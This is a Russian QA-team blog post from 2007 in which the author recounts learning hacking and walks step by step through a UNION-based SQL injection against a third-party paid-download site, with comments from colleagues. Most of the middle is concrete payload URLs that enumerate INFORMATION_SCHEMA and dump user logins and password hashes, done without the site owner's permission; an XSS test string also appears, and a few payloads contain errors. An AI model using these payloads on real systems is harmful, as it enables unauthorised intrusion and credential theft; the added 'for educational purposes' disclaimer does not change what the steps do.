QA-Team blog

Наше неформальное пространство
  • Главная
  • О сайте
  • Персонажи
  • Обратная связь

Sw0rd Fish

le0n | 10 Июль 2007

hacking-60.jpegHacking. Как много в этом слове! Все мы, конечно же, смотрели фильмы, а-ля “Пароль Рыба-Меч”. Я знаю одно – автор курил, как мне кажется, не только сигареты. Взломать сервер какого то там мега-секьюрного правительства США за одну минуту – это вам не цацки-пецки. И наш герой с этим справляется! После просмотра подобных фильмов действительно хочется заняться чем- то эдаким.

Cracking – серийники меняются, но байты остаются :) .

Почему я заинтересовался хаккингом – не помню: было это ещё тогда, когда я учился в школе. С чего же я начал? А начал я совсем не с того, с чего следовало! Сначала, искал в интернете статьи о том, как взломать сайт. Почитав их, так ничего и не понял. А как тут понять если эти статьи писали такие же как и я?! После уймы потраченных часов в Сети, разорившись на постоянных покупках интернет-карт, я подумал, что то, чем я пытаюсь заняться – это НЕРЕАЛЬНО, и я стал изучать приёмы крекинга. Вот тут- то уже у меня и стало получаться (начиналось это дело с диска “Золотой Хакер 2000″, как сейчас помню), 14-ти гиговый винт был полностью забит разными дебагерами, HEX редакторами и другими подобными инструментами. Увлекался я этим делом около полугода и думал, что я теперь не просто крут, а МЕГА-КРУТ!!!. Но не тут- то было, как я позже понял – поменять значение байта в редакторе и таким образом зарегить прогу – не такое уж и трудное дело!

Hacking – уязвимость либо есть, либо есть- её просто не может не быть!

Прошло время, и я вернулся в нашу реальность… Поступил в универ, устроился на работу. Так как она (работа, да и реальность тоже) напрямую связана с тестированием ПО, я изучал различную инфу по тестингу. И вдруг мне вспомнилось моё старое увлечение :) , нет не крекинг, а хаккинг. Тут та я и стал изучать “ИСКУССТВО” хаккинга. Благо с нами работают хорошие разработчики, один из них меня и направил на путь истинный! Наконец- то я понял, что “Взломать сайт” – это понятие не просто растяжимое, но и совершенно не правильное…

Что учить? Зачем учить???

В скором времени к нам пришёл запрос на тестирование “индусской” работы. Логика их работы до сих пор находится под секретом, раскрыть его могут лишь сами индусы. Мы не можем, то ли потому что мы не индусы, то ли потому что индусы не мы! Ладно, давайте вернёмся к нашим баранам.

Наконец-то проект пришёл, со следующим запросом:

1. Протестите

2. Протестите на уязвимости (XSS, SQL, сессии).

Детальной информации в запросе не было, но тем не менее я стал искать уязвимости XSS. Извращался над формами, как только мог. Наконец- то нашел поле, в которое можно было загнать скрипт – что я собственно и сделал. Вводим в поле следующий скриптик: <script>alert(‘XSS’)</script> и сабмитим форму (мысль была стандартна – если админ просмотрит отосланную инфу, то увидит поп-ап окошко с надписью XSS). Я мигом залогинился в админку и открыл секцию, в которую должны были приехать отосланные результаты. До чего же мне было обидно, когда я увидел свой скрипт :( – alert(\’XSS\’) – что то вроде этого. Бага конечно была – в том, что можно засабмитить форму со спец-символами, но толку от этого мало. Пробовал извращаться с перекодированием символов, но всё напрасно – индусы, они и в Африке индусы. SQL-injection даже не искал, просто потому, что не знал, что искать и где искать. Как бы теорию знал: “Введите в поле ‘ и если вылетит sql ошибка, то уязвимость есть!”, а что дальше и что делать, если ошибка не выводится, но проявляется какое-либо другое (не стандартное) поведение?

После этого я стал направленно искать информацию об SQL уязвимостях, читал, практиковался, но толку почти не было. Как вдруг напоролся на портал – http://www.cyberinfo.ru там же нашел ряд статей “Курс Молодого Бойца”, написанных неким Infringer’ом. Прочитал все статьи от начала и до конца. Установил XAMMP (набор из MySQL, PHP, Apache, PHPmyAdmin) просто универсальный набор, после установки не требует дополнительного напиллинга. Создал базу данных, и несколько скриптов (сверху вы видели ссылку на упомянутый сайт там же и найдёте статьи (если конечно же есть желание), постить чужое – рука не поднимается). Потренировался и понял, что ничего невозможного не бывает, главное желание!

Как это было или борьба с наживой на халявных ресурсах.

И вот как то я напоролся на один сайтец, на котором нам предлагали заплатить денежку и ждать пока на мыло придёт ссылка на фильм или игру. Ну разве это правильно? Таким образом люди не научатся работать с Google!!! Вдруг я глянул на урл страницы, на которой находился, вот как он выглядел – http://bla.bla.bl/catalog.php?id=1. Хмм… значит php есть. Запоминаем как выглядит эта страница, открываю страницу с id=2 (http://bla.bla.bl/catalog.php?id=2). приписываем к значению id=2 “-1″, получилось – http://bla.bla.bl/catalog.php?id=2-1. Нажимаем заветную кнопочку “Enter” и вуаля!!! Видим первую страницу. Получается, что запрос 2-1 обработался успешно и в результате id принял значение 1. А значит, sql уязвимость есть! теперь, после номера ID ставим одинарную кавычку, нажимаем Enter. получаем – Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in… Отсюда делаем вывод, что в качестве СУБД используется MySQL. Что есть хорошо!

Идём дальше:

Дело в том, что sql запросы можно объединять с помощью команды UNION, этим взломщики и пользуются. Но есть одна проблема, в MySql после команды union можно использовать только один запрос – Select, но и здесь люди нашли выход. Прежде всего, нам нужно определить количество полей в текущей таблице, делается это с помощью поочерёдного подставления значения NULL в эти поля, делается это следующим образом:

http://bla.bla.bl/catalog.php?id=1+union+select+null/*

Теперь опишу все, что мы написали:

1. http://bla.bla.bl/catalog.php?id=1 – адрес с айдишником

2. union – Объединение запросов

3. select – запрос на выбор нужной информации.

4. null – пустое значение (вместо NUll можно использовать и простые цифры – 1,2,3,4,5 – но я привык использовать null)

5. + – заменитель пробела, дело в том, что, если мы воспользуемся пробелом, то он будет перекодирован в %20, при поиске информации это очень сильно путает.

6. /* – знак коммента, все значения, введённые за данной по очерёдности символов не будут восприниматься.

Продолжим:

На запрос – http://bla.bla.bl/catalog.php?id=1+union+select+null/*

Мы увидели mysql ошибку, значит запрос не обработался, подставляем еще один NULL:

http://bla.bla.bl/catalog.php?id=1+union+select+null,null/* – снова ошибка. Продолжаем дальше подставлять null, пока запрос не обработается, и мы не увидим страницу в первоначальном состоянии (возможно ошибка все еще будет показываться, но тем не менее информация отображаться будет).

Страница отобразилась правильно после того, как мы подставили восемь значений NULL:

http://bla.bla.bl/catalog.php?id=1+union+select+null,null,null,null,null,null,null,null/* - на каждом сайте по-разному.

Отлично, идём дальше:

Теперь нам нужно определить, какие из полей могут принимать информацию, делается это очень просто- на место Null поочерёдно вводим цифры, пока где-нибудь на странице не появятся введённые цифры, к примеру:

Я ввел последовательность цифр 12345 в 3-е поле (конечно же, я начал с первого поля, но символы отобразились только когда я попытался их ввести в 3-м поле):

“http://bla.bla.bl/catalog.php?id=1+union+select+null,null,12345,null,null, null,null,null/*”

Ищем на страничке эти символы, долго искать не пришлось – они отобразились внизу страницы, как дополнительная ячейка в таблице с надписью – 12345.

Гуудд! Теперь приступаем непосредственно к сбору инфы:

В MySql есть три замечательных команды:

version() – показывает версию mysql

Database() – показывает базу данных

User() – показывает юзера текущей базы данных

Для того что бы получить имя базы данных изменяем запрос на:

“http://bla.bla.bl/catalog.php?id=1+union+select+null,null,database(), null,null,null,null,null/*”

Нажимаем Enter и смотрим на то место, где у нас отображались введённые ранее символы 12345:

Видим, что база данных называется – “blaload” – хорошо…

Попытаемся подобрать имя нужной таблицы в этой базе данных и название нужного нам столбца в ней:

нам нужна таблица с именами и паролями юзверей, предположим, таблица называется user, а нужный нам столбец login:

вставляем запрос – select+login+from+user (выбрать столбец “Login” из таблицы “User”):

“http://bla.bla.bl/catalog.php?id=1+union+select+null,null,login,null,null, null,null,null+from+user/*”

вы видите то что нужный нам столбец пишется в поле, которое воспринимает инфу, а уже где эту инфу брать (from+user) в конце запроса, это обязательно! Если вы что- либо перепутаете, у вас ничего не выйдет. Запомните – нужная инфа вводится в поле, которое может принимать инфу, место где она находится – в конце запроса.

Ну, тем не менее, у меня ничего не вышло, я перепробовал еще множество возможных названий таблиц и столбцов в них, но у меня ничего не вышло…

Я уже было отчаялся, но решил посмотреть версию MySql, c помощью команды version():

“http://bla.bla.bl/catalog.php?id=1+union+select+ null,null,version(),null,null,null,null,null/*”.

Видим, что версия Mysql – 5.0.26. Я пошёл в гугл и начал искать – уязвимости Mysql 5.0.26. Не прошло и пяти минут, как я нашёл нужную информацию!

Дело в том, что в MySql версии выше 5.0 (включая), есть замечательные функции – INFORMATION_SCHEMA.TABLES и INFORMATION_SCHEMA.COLUMNS с ними соответственно используются запросы table_name и column_name. Они нужны для того, чтобы увидеть, какие таблицы есть в базе данных, и как называются столбцы в этих таблицах (грубо говоря – это просто спасение для взломщиков). Ну хватит рассказывать, давайте продолжим:

1. Смотрим присутствующие в БД таблицы: “http://bla.bla.bl/catalog.php?id=2+union+select+null,table_name,null,null, null,null,null,null+from+INFORMATION_SCHEMA.TABLES/*”

Видим, что наш лист значительно увеличился и радуемся :) – просто суперклассно, очень много интересных таблиц, но вот та, которую мы искали – bla_auth.

2. Отлично, теперь смотрим имена колонок в этой таблице. Объединять запросы я пытался (для того чтобы посмотреть названия колонок, может быть просто потому что устал- не знаю даже), но тем не менее, если мы просмотрим название всех колонок (column_name from INFORMATION_SCHEMA.COLUMNS), то будет не так уж и сложно определить, какие из них относятся к таблице “bla_auth”.

“http://bla.bla.bl/catalog.php?id=2+union+select+null,column_name,null,null, null,null,null,null+from+INFORMATION_SCHEMA.TABLES/*”

Просматриваем результаты (их довольно много) и видим интересующие нас колонки – login и psw.

Ну что, теперь приступим к извлечению нужной нам инфы? :)

1. Узнаём имена пользователей – SELECT login FROM bla_auth

“http://bla.bla.bl/catalog.php?id=2+union+select+null,login,null,null,null,null,null, null+bla_auth/*”

В результатах видим все логины :) .

2. Теперь приступим к пароликам – SELECT pwd FROM bla_auth

“http://bla.bla.bl/catalog.php?id=2+union+select+null,login,null,null,null,null,null,null+ bla_auth/*”

Вот теперь видим все пароли, нам остаётся только сопоставить их с логинами – первый пароль к первому логину и т.д. (Excel рулит).

Все прошло как нельзя лучше, не правда ли? Но должна же быть ложка дёгтя в бочке мёда. Где она, я вам сейчас поведаю – вместо красивых паролей мы видели их хеш :( , раскодировать его конечно можно, но придётся немного подождать (годик примерное на один пароль, все зависит от сложности пароля, кодирование у них MySql’евское). Но лично мне не важно, какие там были пароли, возможно даже хорошо, что я не расшифровываю их. Ведь по сути, целью взломщика могут быть не только пароли, но и база e-mail адресов пользователей, или другие данные, а цель тестера – обнаружить уязвимость и сообщить о ней разработчику.

Вот и всё дорогие друзья! Надеюсь, вам хоть чуточку понравилась моя статья, с удовольствием выслушаю критику (и приму к сведению), а так же буду рад ответить на ваши вопросы!

До скорых встреч!

Искренне ваш Le0n.

Статья была написана исключительно в ознакомительных целях, а так же для повышения бдительности программистов и администраторов.

Popularity: 50% [?]

Categories
Серьезно
Comments rss
Comments rss
Trackback
Trackback

« Пятничный кирпич “Встреча с автоботами или моя тачка — живая” »

10 Responses to “Sw0rd Fish”

  1. diesel:
    10 июля 2007 в 12:48

    мАладца! Пеесши исчо! :) Только в статье где-то поставь строчку что инфа предназначена для ознакомления тестерам и разработчикам для написания “правильных” программ и их защиты, а то сочтут за пособия “хакерам” и надают по шапке.

  2. sundancer:
    10 июля 2007 в 12:56

    Респект и уважуха, коллега…подчерпнул для себя новую информацию и писчу для размышлений))))
    Дерзай дальше

  3. Vasiliy:
    10 июля 2007 в 12:58

    Le0n – молодец!!! Статья очень порадовала. Написано очень понятно и это есть тебе +1. В свободное время обязательно попробую……
    Жду новых статей и заметок)))

  4. Dmitro Podzyvalovsky:
    10 июля 2007 в 13:02

    Le0n’y, респект, это однозначно. НО!
    На счет новых статей и заметок – я конечно понимаю, что чукча читатель :) , но заметок ждется от всех, а то рубрик много, а пополняется только тимбилдинг :)

  5. Le0n:
    10 июля 2007 в 13:16

    Спасибо большое за столь тёплые отзывы и пожелания!
    Обязательно послушаюсь товарища Diesel’я и отредактирую статью прямо сейчас.

  6. oldew:
    10 июля 2007 в 13:18

    Молодэцъ! Камрад! Так держать!
    Идем дальше – ждем от тебя семинара:)
    В целом – очень познавательно и интересно!

  7. johnny:
    10 июля 2007 в 13:23

    Фильм “Пароль — рыба-мечь” я не смотрел, хотя, наверное, стоит посмотреть. Хотя бы ради единственной сцены, в которой Хелли Берри впервые появляется на экране обнажённая. :)

    А статью я почти дочитал. Чуток не осилил. Слишком длинная.
    Хотя местами очень даже полезная!

  8. le0n:
    10 июля 2007 в 18:25

    Семинар обязательно проведём :) . Для меня главное это ваше желание. Если интересно то устроим. Думаю еще одну статейку напишу ( на этот раз о XSS) и можно будет “Семинарить” :) .

  9. Andrei:
    11 июля 2007 в 19:15

    Молодчина!
    Мои ощущения от статьи весьма яркие: детально и красиво рассказано как можно раскрутить длинную цепочку, отталкиваясь от простого наблюдения, что 1 = 2-1, чувствуешь себя как минимум Шерлоком Холмсом с большой лупой. Но пару ложек дёгтя надо добавить:
    1) Не доведен до логического окончания процесс вскрытия хеша. Хотя, возможно, что автор специально остановился, чтобы его примеру не последовали малолетние любители.
    2) Уязвимости подобного рода – пример халатности и лени программиста, на серьёзных проектах такое не прокатит. Самый простой способ преодоления подобных тонких мест – использовать параметры в SQL запросах, тогда ни под каким соусом не удасться его расширить за счёт собственных комманд. Лечится максимум за час.

  10. le0n:
    11 июля 2007 в 19:25

    1.
    Расшифровать хеш конечно же можно, но только при условии что длинна его составляет не более 8-ми символов, если больше, то можно расшифровать только однотипные пароли (одни буквы или одни цифры). Если же пароль больше 8-ми символов, то можно подождать конечно же и несколько лет (то ли пока хеш подберётся, то ли пока выпустят супер-мощный процессор)
    2.
    Не спорю, уязвимости данного вида (XSS и SqlInjection) являются “багом” программиста, но все же встречаются они довольно часто :) .

Leave a Reply

Нажмите, чтобы отменить ответ.

Рубрики

  • Новости (1)
  • События (19)
  • Серьезно (9)
  • Ссылки (1)
  • Перлы (6)
  • Протупист дня (2)
  • Баг дня (8)
  • Инструменты (3)
    • Eggplant (2)
  • Разности (14)
  • Фотографии (9)

Из недавнего

  • Китайские долгожители
  • Encouragement от Джанни Родари
  • Стоимость ошибки валидации поля в Приват24
  • Осенний digest
  • Нагрузочное тестирование мобильных операторов

Архивы

  • Январь 2009 (1)
  • Декабрь 2008 (3)
  • Ноябрь 2008 (1)
  • Июль 2008 (2)
  • Июнь 2008 (1)
  • Май 2008 (1)
  • Апрель 2008 (1)
  • Март 2008 (3)
  • Январь 2008 (2)
  • Декабрь 2007 (1)
  • Ноябрь 2007 (3)
  • Октябрь 2007 (1)
  • Сентябрь 2007 (5)
  • Август 2007 (1)
  • Июль 2007 (4)
  • Июнь 2007 (6)
  • Май 2007 (6)
  • Апрель 2007 (3)
  • Март 2007 (2)
  • Январь 2007 (1)
  • Декабрь 2006 (1)
  • Ноябрь 2006 (1)

Мета

  • Войти
  • RSS записей
  • RSS комментариев
  • WordPress.org

rss Comments rss valid xhtml 1.1 design by jide powered by Wordpress get firefox